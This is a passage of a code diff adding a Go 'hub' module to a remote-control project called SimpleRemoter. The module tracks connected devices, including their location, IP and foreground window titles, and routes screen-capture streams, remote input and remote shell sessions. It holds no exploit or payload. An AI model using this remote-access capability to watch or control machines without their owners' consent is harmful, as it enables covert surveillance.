github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||||
github.com/klauspost/compress v1.18.2 h1:iiPHWW0YrcFgpBYhsA6D1+fqHssJscY/Tm/y2Uqnapk=
|
github.com/klauspost/compress v1.18.2 h1:iiPHWW0YrcFgpBYhsA6D1+fqHssJscY/Tm/y2Uqnapk=
|
||||||
github.com/klauspost/compress v1.18.2/go.mod h1:R0h/fSBs8DE4ENlcrlib3PsXS61voFxhIs2DeRhCvJ4=
|
github.com/klauspost/compress v1.18.2/go.mod h1:R0h/fSBs8DE4ENlcrlib3PsXS61voFxhIs2DeRhCvJ4=
|
||||||
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
|
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
|
||||||
@@ -11,6 +15,8 @@ github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
|
|||||||
github.com/rs/xid v1.6.0/go.mod h1:7XoLgs4eV+QndskICGsho+ADou8ySMSjJKDIan90Nz0=
|
github.com/rs/xid v1.6.0/go.mod h1:7XoLgs4eV+QndskICGsho+ADou8ySMSjJKDIan90Nz0=
|
||||||
github.com/rs/zerolog v1.34.0 h1:k43nTLIwcTVQAncfCw4KZ2VY6ukYoZaBPNOE8txlOeY=
|
github.com/rs/zerolog v1.34.0 h1:k43nTLIwcTVQAncfCw4KZ2VY6ukYoZaBPNOE8txlOeY=
|
||||||
github.com/rs/zerolog v1.34.0/go.mod h1:bJsvje4Z08ROH4Nhs5iH600c3IkWhwp44iRc54W6wYQ=
|
github.com/rs/zerolog v1.34.0/go.mod h1:bJsvje4Z08ROH4Nhs5iH600c3IkWhwp44iRc54W6wYQ=
|
||||||
|
golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4=
|
||||||
|
golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
|
||||||
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||||
golang.org/x/sys v0.12.0 h1:CM0HF96J0hcLAwsHPJZjfdNzs0gftsLfgKt57wWHJ0o=
|
golang.org/x/sys v0.12.0 h1:CM0HF96J0hcLAwsHPJZjfdNzs0gftsLfgKt57wWHJ0o=
|
||||||
|
|||||||
842
server/go/hub/hub.go
Normal file
@@ -0,0 +1,842 @@
|
|||||||
|
// Package hub maintains the registry of currently online devices and acts as
|
||||||
|
// the bridge between the TCP server (which sees raw client connections) and
|
||||||
|
// the web server (which serves browser clients).
|
||||||
|
//
|
||||||
|
// The TCP side calls Register / Unregister / UpdateLive / BindScreenConn as
|
||||||
|
// the protocol layer notices new sub-connections.
|
||||||
|
// The web side calls ListDevices / SendToDevice / Subscribe.
|
||||||
|
// Neither side imports the other — both depend only on this package.
|
||||||
|
package hub
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"sort"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/yuanyuanxiang/SimpleRemoter/server/go/connection"
|
||||||
|
"github.com/yuanyuanxiang/SimpleRemoter/server/go/protocol"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ErrDeviceOffline is returned by SendToDevice when the target device is not
|
||||||
|
// (no longer) registered.
|
||||||
|
var ErrDeviceOffline = errors.New("device offline")
|
||||||
|
|
||||||
|
// ErrNoSender is returned by SendToDevice if SetSender has not been called.
|
||||||
|
var ErrNoSender = errors.New("hub sender not configured")
|
||||||
|
|
||||||
|
// SendFunc encodes-and-writes raw command bytes to a device's TCP context.
|
||||||
|
// In practice this is bound to server.Server.Send at startup.
|
||||||
|
type SendFunc func(ctx *connection.Context, data []byte) error
|
||||||
|
|
||||||
|
// Device is the internal record for one logical end-device (keyed by MasterID).
|
||||||
|
// A single device may use multiple TCP sub-connections (screen, terminal …);
|
||||||
|
// only the main login connection is stored here.
|
||||||
|
//
|
||||||
|
// PCName from LOGIN_INFOR is interpreted as "ComputerName/Group" and
|
||||||
|
// ModuleVersion as "Version-Capability"; the split halves live in separate
|
||||||
|
// fields so the front-end can render them independently.
|
||||||
|
type Device struct {
|
||||||
|
ID string // MasterID — stable identifier the client reports at login
|
||||||
|
Name string // PCName before '/' (real computer name)
|
||||||
|
Group string // PCName after '/' (group label; may be empty)
|
||||||
|
Version string // ModuleVersion before '-' (semantic version)
|
||||||
|
Capability string // ModuleVersion after '-' (capability tags; may be empty)
|
||||||
|
OS string // OS version string
|
||||||
|
CPU string // from LOGIN_INFOR reserved field 2
|
||||||
|
FilePath string // from LOGIN_INFOR reserved field 4
|
||||||
|
InstallTime string // from LOGIN_INFOR reserved field 6 (or StartTime)
|
||||||
|
Location string // client-reported geo string (reserved field 10)
|
||||||
|
PeerIP string // network-level remote address as seen by the server
|
||||||
|
PublicIP string // client-reported public IP (reserved field 11)
|
||||||
|
Resolution string // client-formatted screen geometry "N:W*H" (reserved field 15)
|
||||||
|
ConnectedAt time.Time
|
||||||
|
|
||||||
|
// Live fields refreshed on every heartbeat. Protected by hub.mu.
|
||||||
|
RTT int // network latency in ms (Heartbeat.Ping)
|
||||||
|
ActiveWindow string // foreground window title (Heartbeat.ActiveWnd, decoded)
|
||||||
|
|
||||||
|
// conn is the main connection's context — used by SendToDevice to forward
|
||||||
|
// commands (COMMAND_SCREEN_SPY, etc.) to the device.
|
||||||
|
conn *connection.Context
|
||||||
|
|
||||||
|
// screenConn is the device-initiated sub-connection that streams
|
||||||
|
// TOKEN_BITMAPINFO / TOKEN_FIRSTSCREEN / TOKEN_NEXTSCREEN frames. Bound
|
||||||
|
// after the device responds to COMMAND_SCREEN_SPY. Nil while no screen
|
||||||
|
// session is active.
|
||||||
|
screenConn *connection.Context
|
||||||
|
|
||||||
|
// Cached screen state, for late-joining browsers. Populated by the
|
||||||
|
// PublishResolution / PublishScreenFrame call sites. screenWidth==0 or
|
||||||
|
// lastKeyframe==nil indicates "no session" / "no IDR seen yet".
|
||||||
|
screenWidth int
|
||||||
|
screenHeight int
|
||||||
|
lastKeyframe []byte // fully-packed WS binary packet of the most recent IDR
|
||||||
|
|
||||||
|
// Cursor index dedup: cursors arrive on every frame (~30 Hz) but only
|
||||||
|
// rarely change. Suppress duplicates so the WS doesn't carry redundant
|
||||||
|
// JSON messages.
|
||||||
|
cursorSeen bool
|
||||||
|
lastCursorIndex byte
|
||||||
|
|
||||||
|
// Terminal session state — at most one web terminal per device (MVP
|
||||||
|
// constraint shared with the C++ server). All three fields are
|
||||||
|
// guarded by hub.mu.
|
||||||
|
//
|
||||||
|
// terminalPending: COMMAND_SHELL has been sent, waiting for the device's
|
||||||
|
// sub-conn to arrive and announce itself via TOKEN_TERMINAL_START /
|
||||||
|
// TOKEN_SHELL_START.
|
||||||
|
// terminalConn: the shell sub-conn ctx after binding. Nil before BIND
|
||||||
|
// and after teardown.
|
||||||
|
// terminalIsPTY: distinguishes Linux/macOS/ConPTY (true) from the legacy
|
||||||
|
// Windows cmd-pipe path. PTY mode supports resize; cmd-pipe ignores it.
|
||||||
|
terminalPending bool
|
||||||
|
terminalConn *connection.Context
|
||||||
|
terminalIsPTY bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// ScreenCache is a read-only snapshot of a device's last-seen screen state,
|
||||||
|
// used by wsHub.handleConnect to bootstrap late joiners.
|
||||||
|
type ScreenCache struct {
|
||||||
|
Width int
|
||||||
|
Height int
|
||||||
|
Keyframe []byte // packed WS packet; nil if no keyframe cached yet
|
||||||
|
Active bool // true iff a screen sub-conn is currently bound
|
||||||
|
}
|
||||||
|
|
||||||
|
// ScreenState returns a snapshot of the device's current screen state, or
|
||||||
|
// an empty struct if the device is unknown. Safe to call from any goroutine.
|
||||||
|
func (h *Hub) ScreenState(deviceID string) ScreenCache {
|
||||||
|
h.mu.RLock()
|
||||||
|
defer h.mu.RUnlock()
|
||||||
|
d, ok := h.devices[deviceID]
|
||||||
|
if !ok {
|
||||||
|
return ScreenCache{}
|
||||||
|
}
|
||||||
|
return ScreenCache{
|
||||||
|
Width: d.screenWidth,
|
||||||
|
Height: d.screenHeight,
|
||||||
|
Keyframe: d.lastKeyframe,
|
||||||
|
Active: d.screenConn != nil,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// MainConn exposes the device's main TCP context for callers that need to
|
||||||
|
// send commands directly. Returns nil if the device is not registered.
|
||||||
|
func (h *Hub) MainConn(id string) *connection.Context {
|
||||||
|
h.mu.RLock()
|
||||||
|
defer h.mu.RUnlock()
|
||||||
|
if d, ok := h.devices[id]; ok {
|
||||||
|
return d.conn
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Capability returns the device's reported capability hex string
|
||||||
|
// (LOGIN_INFOR.moduleVersion tail). Empty for unknown devices — callers
|
||||||
|
// should treat that as "no caps" (legacy Windows GBK default).
|
||||||
|
func (h *Hub) Capability(id string) string {
|
||||||
|
h.mu.RLock()
|
||||||
|
defer h.mu.RUnlock()
|
||||||
|
if d, ok := h.devices[id]; ok {
|
||||||
|
return d.Capability
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
// DeviceInfo is the JSON-safe projection of Device for the /api/devices
|
||||||
|
// endpoint and the WS device_list message. Field names match what the
|
||||||
|
// existing browser front-end expects.
|
||||||
|
type DeviceInfo struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Name string `json:"name"`
|
||||||
|
Group string `json:"group,omitempty"`
|
||||||
|
Version string `json:"version"`
|
||||||
|
Capability string `json:"capability,omitempty"`
|
||||||
|
OS string `json:"os"`
|
||||||
|
CPU string `json:"cpu,omitempty"`
|
||||||
|
FilePath string `json:"file_path,omitempty"`
|
||||||
|
InstallTime string `json:"install_time,omitempty"`
|
||||||
|
Location string `json:"location,omitempty"`
|
||||||
|
IP string `json:"ip"` // client-reported public IP (matches C++ key)
|
||||||
|
PeerIP string `json:"peer_ip,omitempty"`
|
||||||
|
Screen string `json:"screen,omitempty"` // "N:W*H" — matches C++ DeviceInfo.screen key
|
||||||
|
RTT int `json:"rtt"`
|
||||||
|
ActiveWindow string `json:"activeWindow,omitempty"`
|
||||||
|
ConnectedAt int64 `json:"connected_at"`
|
||||||
|
Online bool `json:"online"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// EventHandler receives notifications about device lifecycle, per-tick live
|
||||||
|
// updates, screen frames and resolution changes. Methods are invoked
|
||||||
|
// synchronously from the corresponding hub mutator — implementations must
|
||||||
|
// be non-blocking (typically just write to a channel or queue).
|
||||||
|
type EventHandler interface {
|
||||||
|
OnDeviceOnline(d DeviceInfo)
|
||||||
|
OnDeviceOffline(id string)
|
||||||
|
OnDeviceUpdate(id string, rtt int, activeWindow string)
|
||||||
|
// OnScreenFrame delivers a fully-formed WS binary packet for the given
|
||||||
|
// device. The packet matches the C++ layout:
|
||||||
|
// [DeviceID:4 LE][FrameType:1][DataLen:4 LE][H264:N]
|
||||||
|
// Implementations should treat the slice as read-only.
|
||||||
|
OnScreenFrame(deviceID string, packet []byte, isKeyframe bool)
|
||||||
|
// OnResolutionChange fires when a screen session starts (TOKEN_BITMAPINFO)
|
||||||
|
// or whenever the device reports a new screen geometry mid-stream.
|
||||||
|
OnResolutionChange(deviceID string, width, height int)
|
||||||
|
// OnCursorChange fires when the device's foreground cursor index changes.
|
||||||
|
// Duplicates (same index as the previous frame) are filtered out by the
|
||||||
|
// hub before reaching subscribers.
|
||||||
|
OnCursorChange(deviceID string, index byte)
|
||||||
|
// OnTerminalReady fires once the device's shell sub-conn is bound and
|
||||||
|
// the server has sent COMMAND_NEXT to start its output read loop.
|
||||||
|
// isPTY=true means PTY mode (Linux/macOS or ConPTY); false means the
|
||||||
|
// legacy Windows cmd-pipe path which doesn't support resize.
|
||||||
|
OnTerminalReady(deviceID string, isPTY bool)
|
||||||
|
// OnTerminalData ships one chunk of raw shell output (already wrapped
|
||||||
|
// in the WS-binary "TRM1" magic header) to terminal viewers.
|
||||||
|
OnTerminalData(deviceID string, packet []byte)
|
||||||
|
// OnTerminalClosed fires when the session ends — either because the
|
||||||
|
// device sent TOKEN_TERMINAL_CLOSE, the sub-conn dropped, or the
|
||||||
|
// server explicitly tore it down.
|
||||||
|
OnTerminalClosed(deviceID string, reason string)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Hub is a thread-safe registry of online devices.
|
||||||
|
type Hub struct {
|
||||||
|
mu sync.RWMutex
|
||||||
|
devices map[string]*Device
|
||||||
|
subMu sync.RWMutex
|
||||||
|
subscribers []EventHandler
|
||||||
|
|
||||||
|
sender SendFunc
|
||||||
|
|
||||||
|
// Reverse index: TCP context -> device ID for the device's screen
|
||||||
|
// sub-connection. Lets us clean up on raw-connection close without
|
||||||
|
// having to walk every device. Empty when no screen sessions exist.
|
||||||
|
screenIndex map[*connection.Context]string
|
||||||
|
screenIndexMu sync.RWMutex
|
||||||
|
|
||||||
|
// Parallel reverse index for terminal sub-conns. Same purpose: O(1)
|
||||||
|
// lookup from a raw ctx (e.g. on OnDisconnect) back to its device.
|
||||||
|
terminalIndex map[*connection.Context]string
|
||||||
|
terminalIndexMu sync.RWMutex
|
||||||
|
}
|
||||||
|
|
||||||
|
// New returns an empty Hub.
|
||||||
|
func New() *Hub {
|
||||||
|
return &Hub{
|
||||||
|
devices: make(map[string]*Device),
|
||||||
|
screenIndex: make(map[*connection.Context]string),
|
||||||
|
terminalIndex: make(map[*connection.Context]string),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetSender wires the function used to deliver outbound bytes on a device's
|
||||||
|
// main TCP connection. Typically called once in main() with server.Send.
|
||||||
|
func (h *Hub) SetSender(fn SendFunc) {
|
||||||
|
h.sender = fn
|
||||||
|
}
|
||||||
|
|
||||||
|
// SendToDevice forwards an already-formed command payload to the device's
|
||||||
|
// main connection. data should be the raw command bytes (the sender takes
|
||||||
|
// care of framing / compression at the protocol layer).
|
||||||
|
func (h *Hub) SendToDevice(id string, data []byte) error {
|
||||||
|
h.mu.RLock()
|
||||||
|
d, ok := h.devices[id]
|
||||||
|
h.mu.RUnlock()
|
||||||
|
if !ok || d.conn == nil {
|
||||||
|
return ErrDeviceOffline
|
||||||
|
}
|
||||||
|
if h.sender == nil {
|
||||||
|
return ErrNoSender
|
||||||
|
}
|
||||||
|
return h.sender(d.conn, data)
|
||||||
|
}
|
||||||
|
|
||||||
|
// SendToScreen routes a payload to the device's currently-bound screen
|
||||||
|
// sub-connection. Input events (COMMAND_SCREEN_CONTROL) MUST go through the
|
||||||
|
// screen sub-conn rather than the main conn — the C++ client only dispatches
|
||||||
|
// these commands from CScreenManager::OnReceive, which reads exclusively from
|
||||||
|
// the sub-conn (see client/ScreenManager.cpp:1065). Returns ErrDeviceOffline
|
||||||
|
// when the device is unknown OR has no active screen session, so callers can
|
||||||
|
// quietly drop input from browsers that haven't called connect yet.
|
||||||
|
func (h *Hub) SendToScreen(id string, data []byte) error {
|
||||||
|
h.mu.RLock()
|
||||||
|
d, ok := h.devices[id]
|
||||||
|
var sc *connection.Context
|
||||||
|
if ok {
|
||||||
|
sc = d.screenConn
|
||||||
|
}
|
||||||
|
h.mu.RUnlock()
|
||||||
|
if !ok || sc == nil {
|
||||||
|
return ErrDeviceOffline
|
||||||
|
}
|
||||||
|
if h.sender == nil {
|
||||||
|
return ErrNoSender
|
||||||
|
}
|
||||||
|
return h.sender(sc, data)
|
||||||
|
}
|
||||||
|
|
||||||
|
// BindScreenConn associates a freshly-arrived sub-connection (the one that
|
||||||
|
// just sent TOKEN_BITMAPINFO) with the device identified by clientID.
|
||||||
|
// Returns false if the device is not registered — callers should drop the
|
||||||
|
// orphan connection in that case.
|
||||||
|
//
|
||||||
|
// If the device already has a screen sub-conn bound (typically because the
|
||||||
|
// client's monitor-poll logic opened a new one without the previous viewer
|
||||||
|
// going through CloseScreen — e.g. multiple open/close cycles where each
|
||||||
|
// cycle picks a different display), the previous sub-conn is retired via
|
||||||
|
// retireScreenConn. Without this, both sub-conns keep streaming under the
|
||||||
|
// same device ID and the browser sees H.264 frames from two encoders
|
||||||
|
// interleaved, rendering as a picture that jumps between monitors.
|
||||||
|
func (h *Hub) BindScreenConn(deviceID string, ctx *connection.Context) bool {
|
||||||
|
if deviceID == "" || ctx == nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
h.mu.Lock()
|
||||||
|
d, ok := h.devices[deviceID]
|
||||||
|
if !ok {
|
||||||
|
h.mu.Unlock()
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
old := d.screenConn
|
||||||
|
d.screenConn = ctx
|
||||||
|
// The cached resolution and last IDR belong to the old encoder's
|
||||||
|
// stream. A viewer joining now must wait for the new sub-conn's
|
||||||
|
// TOKEN_BITMAPINFO + first IDR; serving the old monitor's keyframe
|
||||||
|
// to a decoder that's about to receive a different SPS/PPS would
|
||||||
|
// produce the same mixed-stream corruption retireScreenConn exists
|
||||||
|
// to prevent.
|
||||||
|
replacing := old != nil && old != ctx
|
||||||
|
if replacing {
|
||||||
|
d.screenWidth = 0
|
||||||
|
d.screenHeight = 0
|
||||||
|
d.lastKeyframe = nil
|
||||||
|
}
|
||||||
|
h.mu.Unlock()
|
||||||
|
|
||||||
|
h.screenIndexMu.Lock()
|
||||||
|
h.screenIndex[ctx] = deviceID
|
||||||
|
h.screenIndexMu.Unlock()
|
||||||
|
|
||||||
|
if replacing {
|
||||||
|
h.retireScreenConn(old)
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// ScreenDeviceID returns the device ID whose screen sub-connection this
|
||||||
|
// context represents, or "" if the context is not a screen sub-connection.
|
||||||
|
// Used by the TCP layer to route TOKEN_FIRSTSCREEN / TOKEN_NEXTSCREEN frames.
|
||||||
|
func (h *Hub) ScreenDeviceID(ctx *connection.Context) string {
|
||||||
|
h.screenIndexMu.RLock()
|
||||||
|
defer h.screenIndexMu.RUnlock()
|
||||||
|
return h.screenIndex[ctx]
|
||||||
|
}
|
||||||
|
|
||||||
|
// UnbindScreenConn removes the screen sub-connection mapping (called on TCP
|
||||||
|
// disconnect of a screen sub-context). No-op if the context isn't tracked.
|
||||||
|
func (h *Hub) UnbindScreenConn(ctx *connection.Context) {
|
||||||
|
h.screenIndexMu.Lock()
|
||||||
|
deviceID, ok := h.screenIndex[ctx]
|
||||||
|
if !ok {
|
||||||
|
h.screenIndexMu.Unlock()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
delete(h.screenIndex, ctx)
|
||||||
|
h.screenIndexMu.Unlock()
|
||||||
|
|
||||||
|
h.mu.Lock()
|
||||||
|
if d, ok := h.devices[deviceID]; ok && d.screenConn == ctx {
|
||||||
|
d.screenConn = nil
|
||||||
|
// Clear the cache too — when this device's screen comes back up, the
|
||||||
|
// resolution and IDR will be republished fresh.
|
||||||
|
d.screenWidth = 0
|
||||||
|
d.screenHeight = 0
|
||||||
|
d.lastKeyframe = nil
|
||||||
|
}
|
||||||
|
h.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
// retireScreenConn tears down a screen sub-conn that's being replaced or
|
||||||
|
// closed. Shared by CloseScreen (last viewer left) and BindScreenConn (device
|
||||||
|
// opened a new sub-conn that's superseding this one, e.g. when the client's
|
||||||
|
// monitor-poll logic switches to a different display).
|
||||||
|
//
|
||||||
|
// Steps and ordering matter:
|
||||||
|
//
|
||||||
|
// 1. screenIndex entry is dropped FIRST so any in-flight frames still in the
|
||||||
|
// device's TCP send buffer arrive at handleScreenFrame with deviceID=""
|
||||||
|
// and are silently dropped. Without this they'd be relayed under the
|
||||||
|
// same deviceID as the new sub-conn — that's the "frames from two
|
||||||
|
// monitors interleaved in one stream" symptom: the browser decoder sees
|
||||||
|
// a mix of two independent x264 SPS/PPS sequences and renders an
|
||||||
|
// alternating / glitchy picture.
|
||||||
|
//
|
||||||
|
// 2. COMMAND_BYE is sent so the C++ client's IOCPClient exits via the
|
||||||
|
// clean StopRunning() path. Without it the client treats FIN as a
|
||||||
|
// network blip and fires m_ReconnectFunc, which opens a fresh sub-conn
|
||||||
|
// that never sends BITMAPINFO again, keeps the encoder thread alive,
|
||||||
|
// and ultimately wedges the device for ~10 s — see the original
|
||||||
|
// CloseScreen comment for the full failure mode.
|
||||||
|
//
|
||||||
|
// 3. The actual TCP Close happens 500 ms later on a goroutine, mirroring
|
||||||
|
// the C++ ScreenSpyDlg.cpp:842 (Sleep(500); CancelIO()) sequence so
|
||||||
|
// COMMAND_BYE has time to reach the device read loop before FIN does.
|
||||||
|
//
|
||||||
|
// No-op for a nil sc so callers can pass d.screenConn unconditionally.
|
||||||
|
func (h *Hub) retireScreenConn(sc *connection.Context) {
|
||||||
|
if sc == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
h.screenIndexMu.Lock()
|
||||||
|
delete(h.screenIndex, sc)
|
||||||
|
h.screenIndexMu.Unlock()
|
||||||
|
if h.sender != nil {
|
||||||
|
_ = h.sender(sc, []byte{protocol.CommandBye})
|
||||||
|
}
|
||||||
|
go func(c *connection.Context) {
|
||||||
|
time.Sleep(500 * time.Millisecond)
|
||||||
|
c.Close()
|
||||||
|
}(sc)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Subscribe registers an EventHandler. The returned func removes it.
|
||||||
|
// Multiple handlers are supported; each receives every event.
|
||||||
|
func (h *Hub) Subscribe(eh EventHandler) (unsubscribe func()) {
|
||||||
|
h.subMu.Lock()
|
||||||
|
h.subscribers = append(h.subscribers, eh)
|
||||||
|
h.subMu.Unlock()
|
||||||
|
return func() {
|
||||||
|
h.subMu.Lock()
|
||||||
|
defer h.subMu.Unlock()
|
||||||
|
for i, x := range h.subscribers {
|
||||||
|
if x == eh {
|
||||||
|
h.subscribers = append(h.subscribers[:i], h.subscribers[i+1:]...)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Hub) snapshotSubscribers() []EventHandler {
|
||||||
|
h.subMu.RLock()
|
||||||
|
defer h.subMu.RUnlock()
|
||||||
|
out := make([]EventHandler, len(h.subscribers))
|
||||||
|
copy(out, h.subscribers)
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
// Register records a device as online and pins the main TCP connection that
|
||||||
|
// will receive outbound commands via SendToDevice. Re-registering an existing
|
||||||
|
// ID overwrites the previous entry (e.g. a client reconnect with the same
|
||||||
|
// MasterID). A nil device, nil conn, or empty ID is silently ignored.
|
||||||
|
// Subscribers are notified after the device is added.
|
||||||
|
func (h *Hub) Register(d *Device, conn *connection.Context) {
|
||||||
|
if d == nil || d.ID == "" || conn == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
d.conn = conn
|
||||||
|
h.mu.Lock()
|
||||||
|
h.devices[d.ID] = d
|
||||||
|
info := deviceToInfo(d)
|
||||||
|
h.mu.Unlock()
|
||||||
|
for _, s := range h.snapshotSubscribers() {
|
||||||
|
s.OnDeviceOnline(info)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Unregister removes a device by ID. No-op if not present.
|
||||||
|
// Subscribers are notified after the device is removed (only if it existed).
|
||||||
|
func (h *Hub) Unregister(id string) {
|
||||||
|
if id == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
h.mu.Lock()
|
||||||
|
_, existed := h.devices[id]
|
||||||
|
delete(h.devices, id)
|
||||||
|
h.mu.Unlock()
|
||||||
|
if !existed {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
for _, s := range h.snapshotSubscribers() {
|
||||||
|
s.OnDeviceOffline(id)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListDevices returns a fresh snapshot slice. The caller may mutate it freely;
|
||||||
|
// it shares no state with the hub.
|
||||||
|
//
|
||||||
|
// Sort by ConnectedAt asc (ID as tiebreaker) so the order stays stable across
|
||||||
|
// REST polls and WS pushes — Go's map iteration is intentionally randomized,
|
||||||
|
// which would otherwise reshuffle the UI list on every refresh.
|
||||||
|
func (h *Hub) ListDevices() []DeviceInfo {
|
||||||
|
h.mu.RLock()
|
||||||
|
defer h.mu.RUnlock()
|
||||||
|
out := make([]DeviceInfo, 0, len(h.devices))
|
||||||
|
for _, d := range h.devices {
|
||||||
|
out = append(out, deviceToInfo(d))
|
||||||
|
}
|
||||||
|
sort.Slice(out, func(i, j int) bool {
|
||||||
|
if out[i].ConnectedAt != out[j].ConnectedAt {
|
||||||
|
return out[i].ConnectedAt < out[j].ConnectedAt
|
||||||
|
}
|
||||||
|
return out[i].ID < out[j].ID
|
||||||
|
})
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func deviceToInfo(d *Device) DeviceInfo {
|
||||||
|
return DeviceInfo{
|
||||||
|
ID: d.ID,
|
||||||
|
Name: d.Name,
|
||||||
|
Group: d.Group,
|
||||||
|
Version: d.Version,
|
||||||
|
Capability: d.Capability,
|
||||||
|
OS: d.OS,
|
||||||
|
CPU: d.CPU,
|
||||||
|
FilePath: d.FilePath,
|
||||||
|
InstallTime: d.InstallTime,
|
||||||
|
Location: d.Location,
|
||||||
|
IP: d.PublicIP,
|
||||||
|
PeerIP: d.PeerIP,
|
||||||
|
Screen: d.Resolution,
|
||||||
|
RTT: d.RTT,
|
||||||
|
ActiveWindow: d.ActiveWindow,
|
||||||
|
ConnectedAt: d.ConnectedAt.Unix(),
|
||||||
|
Online: true, // a device that's in the map is by definition online
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// PublishCursor notifies subscribers when the device reports a new cursor
|
||||||
|
// index. Repeated identical indices are suppressed so the WS isn't spammed
|
||||||
|
// with per-frame cursor JSON. No-op for unknown devices.
|
||||||
|
func (h *Hub) PublishCursor(deviceID string, index byte) {
|
||||||
|
h.mu.Lock()
|
||||||
|
d, ok := h.devices[deviceID]
|
||||||
|
if !ok {
|
||||||
|
h.mu.Unlock()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if d.cursorSeen && d.lastCursorIndex == index {
|
||||||
|
h.mu.Unlock()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
d.cursorSeen = true
|
||||||
|
d.lastCursorIndex = index
|
||||||
|
h.mu.Unlock()
|
||||||
|
for _, s := range h.snapshotSubscribers() {
|
||||||
|
s.OnCursorChange(deviceID, index)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// CloseScreen tears down the active screen sub-connection for the device,
|
||||||
|
// if any. Used when the last viewer leaves so the device stops capturing.
|
||||||
|
//
|
||||||
|
// Cache (screenConn / screenWidth / lastKeyframe) is cleared SYNCHRONOUSLY
|
||||||
|
// here, not deferred to the eventual OnDisconnect → UnbindScreenConn path.
|
||||||
|
// Otherwise a new viewer arriving in the brief window between TCP close and
|
||||||
|
// the disconnect callback would see Active=true with stale dimensions/IDR
|
||||||
|
// and skip the COMMAND_SCREEN_SPY kick, leaving the page stuck on a "connected"
|
||||||
|
// status with no frames ever arriving.
|
||||||
|
//
|
||||||
|
// The actual sub-conn teardown is delegated to retireScreenConn, which is
|
||||||
|
// shared with BindScreenConn's replacement path.
|
||||||
|
func (h *Hub) CloseScreen(deviceID string) {
|
||||||
|
h.mu.Lock()
|
||||||
|
d, ok := h.devices[deviceID]
|
||||||
|
if !ok {
|
||||||
|
h.mu.Unlock()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
sc := d.screenConn
|
||||||
|
d.screenConn = nil
|
||||||
|
d.screenWidth = 0
|
||||||
|
d.screenHeight = 0
|
||||||
|
d.lastKeyframe = nil
|
||||||
|
h.mu.Unlock()
|
||||||
|
h.retireScreenConn(sc)
|
||||||
|
}
|
||||||
|
|
||||||
|
// PublishResolution announces a new (or first-ever) screen geometry for a
|
||||||
|
// device. The browser uses width/height to initialize its WebCodecs decoder.
|
||||||
|
// The latest dimensions are also cached on the Device so future late-joining
|
||||||
|
// viewers can be bootstrapped without waiting for the next BITMAPINFO.
|
||||||
|
func (h *Hub) PublishResolution(deviceID string, width, height int) {
|
||||||
|
h.mu.Lock()
|
||||||
|
if d, ok := h.devices[deviceID]; ok {
|
||||||
|
d.screenWidth = width
|
||||||
|
d.screenHeight = height
|
||||||
|
}
|
||||||
|
h.mu.Unlock()
|
||||||
|
for _, s := range h.snapshotSubscribers() {
|
||||||
|
s.OnResolutionChange(deviceID, width, height)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// PublishScreenFrame fans out a screen frame packet to all subscribers.
|
||||||
|
// Callers must have already wrapped the H.264 NAL payload in the
|
||||||
|
// [DeviceID:4][FrameType:1][DataLen:4][...] header expected by the browser.
|
||||||
|
// The packet slice is shared with subscribers — do not mutate after publish.
|
||||||
|
//
|
||||||
|
// Keyframe packets are also retained on the Device record so a new viewer
|
||||||
|
// joining a live session can immediately receive a decodable starting point
|
||||||
|
